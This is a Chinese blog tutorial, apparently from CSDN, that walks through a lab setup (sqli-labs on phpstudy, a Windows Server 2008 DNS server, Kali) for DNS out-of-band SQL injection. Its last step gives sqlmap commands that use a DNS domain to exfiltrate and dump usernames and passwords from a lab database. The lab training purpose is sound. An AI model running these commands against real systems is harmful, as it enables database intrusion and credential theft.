• sqlmap结合dnslog快速注入


    如何使用sqlmap结合dnslog快速注入呢

    首先我们需要三台虚拟机,一台Windows10作为客户端,Windows server2008作为服务器,还有一台kali。

    第一步:先在Windows10上下载phpstudy小皮面板,然后后下载sqli-labs靶场,并将sqli-labs靶场文件放入WWW目录下

    第二步:修改数据库配置文件,将数据库的my.ini中添加secure_file_priv="",方便后面读取文件

    第三步:在Windows server 2008上搭建DNS服务器

    单击角色-->添加角色-->点击服务器角色-->选中DNS服务器-->下一步-->安装

    右键查看WIN-JGVPSZCQ80R的属性-->监视-->勾上两个测试类型-->确定

     新建区域:右键点击新建-->下一步-->自定义一个区域名称-->下一步-->完成

     新建主机ns1.ceshi.top,这样填上kali虚拟机的IP地址

     再创建一个泛解析:

     第四步:在Windows10上配置DNS服务器的IP 

     第五步:使用Windows10pingDNS中创建的域名,并在kali中查看

     

     第六步:在Windows server2008中创建转发器

     使用Windows10ping转发器的域名,并在kali中查看

    第七步:sqlmap使用DNSlog外带注入

     我们使用sqlmap找到数据库中的表名

    sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D security --tables

     根据users表名找表中的列

    sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security" -t "users" --columns

    取出users表中的数据

    sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security" -t "users" -C "username,password" --dump
  • 相关阅读:
    把yes/no取消掉
    第十四届蓝桥杯大赛软件赛决赛 C/C++ 大学 B 组 试题 A: 子 2023
    mysql:列类型之float、double
    【星海出品】flask(一)demo
    如何在Linux系统下安装Docker
    栈和队列——有效括号
    AWS认证SAA-C03每日一题
    iOS 将字符串分割成单个字符| 字符串转成数组
    sql 查重与去重
    transformers - 预测中间词
  • 原文地址:https://blog.csdn.net/qq_52016943/article/details/126163173